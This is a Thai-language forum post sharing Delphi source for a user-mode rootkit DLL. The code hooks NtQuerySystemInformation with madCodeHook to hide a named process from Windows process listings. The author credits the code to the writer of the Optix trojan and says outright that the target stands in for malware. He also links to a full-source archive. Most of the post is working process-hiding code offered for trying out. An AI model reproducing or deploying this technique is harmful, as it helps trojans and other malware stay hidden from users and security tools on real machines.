นี้เป็น ต.ย การซ่อน Process ใน windows nt,2k,xp,2003 โค้ดถูกเขียนโดย s13az3

(ใครคือ s13az3 ก็คนที่เขียนโทรจันที่ชื่อ Optix แห่ง EES Crew นั้นเอง!)

โค้ดที่ เอามาให้ดู เชื่อว่า ไม่ใช้ทุก คน จะเข้าใจมัน ดังนั้น คงไม่ห่วง เรื่อง เอาไปใช้ในทางที่ ผิด เพราะมันไม่ใช้ง่ายๆ ที่จะยัดลง Malware

หากไม่รู้วิธี 555 และ คงไม่สอน หรือ อธิบาย... แบบ ละเอียด เอามาแค่ให้ดูและทดลอง .. แบบคร่าวๆ พอ

ต.ย ทดลองกับ Form เปล่าๆ (Test.exe) โดยสมมุติว่า มันคือ Malware (อะไรคือ Malware ก็ พวก trojan,virus,worm,bot...)


ก่อนการซ่อนโปรเซส




หลังจากซ่อนโปรเซส





โค้ด HookProcessEnumeration2.dll

library HookProcessEnumeration2;

{$IMAGEBASE $57000000}

uses Windows, SysUtils, madcodehook;

type
PProcessInfo = ^TProcessInfo;
TProcessInfo=record
dwOffset : dword; // an ofset to the next Process structure
dwThreadCount : dword;
dwUnkown1 : array[0..5] of dword;
ftCreationTime : TFileTime;
dwUnkown2 : dword;
dwUnkown3 : dword;
dwUnkown4 : dword;
dwUnkown5 : dword;
dwUnkown6 : dword;
pszProcessName : PWideChar;
dwBasePriority : dword;
dwProcessID : dword;
dwParentProcessID : dword;
dwHandleCount : dword;
dwUnkown7 : dword;
dwUnkown8 : dword;
dwVirtualBytesPeak : dword;
dwVirtualBytes : dword;
dwPageFaults : dword;
dwWorkingSetPeak : dword;
dwWorkingSet : dword;
dwUnkown9 : dword;
dwPagedPool : dword; // kbytes
dwUnkown10 : dword;
dwNonPagedPool : dword; // kbytes
dwPageFileBytesPeak : dword;
dwPageFileBytes : dword;
dwPrivateBytes : dword;
dwUnkown11 : dword;
dwUnkown12 : dword;
dwUnkown13 : dword;
dwUnkown14 : dword;
ThreadInfo : PThreadInfo; // Thread list
end;


var
NtQuerySystemInformationNextHook: function(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
function NtQuerySystemInformation(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;external 'ntdll.dll';

var
ProcnameToHide: String = 'test.exe';


function NtQuerySystemInformationCallbackProc(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
type
PBA = ^TBA;
TBA = array[0..1000000] of byte;
var
tmpbuf: PBA;
Pinfo,LastPinfo : PProcessInfo;
cp: DWORD;
curproc:string;
begin
Result := NtQuerySystemInformationNextHook(dt,buf,bufsize,retlen);
if dt<>5 then exit;
if result<>0 then exit;

cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);

curproc:=WideCharToString(pinfo^.pszProcessName);

if lowercase(curproc) = ProcnameToHide then
begin
if pinfo^.dwOffset=0 then begin LastPinfo^.dwOffset:=0;exit;end
else LastPinfo^.dwOffset:=LastPinfo^.dwOffset+pinfo.dwOffset;
end
else
begin
LastPinfo:=Pinfo;
end;

cp := cp + Pinfo^.dwOffset;
until Pinfo^.dwOffset = 0;

end;

begin
HookCode(@NtQuerySystemInformation, @NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
end.
[/b]

**
สำหรับการ ทดลอง หลังจาก กด Show มันจะมีผล ข้างเคียงกับระบบ อยู่นิดนึงอย่าตกใจ
Component ที่ใช้ madcodehook แต่ version ใหม่ใช้ไม่ได้ ต้องใช้ version เก่าๆ
FullSource hxxp://thairockman.hypermart.net/Test.zip